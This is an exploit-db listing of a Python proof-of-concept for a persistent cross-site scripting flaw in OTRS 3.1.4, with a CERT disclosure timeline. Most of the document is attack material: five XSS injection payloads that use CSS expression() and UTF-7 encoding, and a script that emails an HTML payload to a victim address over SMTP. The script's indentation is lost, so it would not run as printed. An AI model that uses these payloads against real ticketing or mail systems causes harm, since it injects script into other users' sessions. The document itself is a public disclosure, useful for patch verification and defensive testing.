OTRS Open Technology Real Services 3.1.4 – Persistent Cross-Site Scripting

  • 作者： loneferret
    日期： 2012-08-08
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/20359/
  • #!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: OTRS Open Technology Real Services
Version: 3.1.4 (Windows)
Vendor Site: http://www.otrs.com/en/

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response other than auto-reply from vendor
08 Aug 2012: Public Disclosure
22 Aug 2012: Update from CERT: vulnerability patched
 http://www.kb.cert.org/vuls/id/582879
 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-01/

Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <DIV STYLE="width: expression(alert('XSS'));">
2: exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
3: <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
4: <XSS STYLE="xss:expression(alert('XSS'))">
5: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

'''

import smtplib, urllib2
 
payload = """<DIV STYLE="width: expression(alert('XSS'));">"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg= "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
 
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv= "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)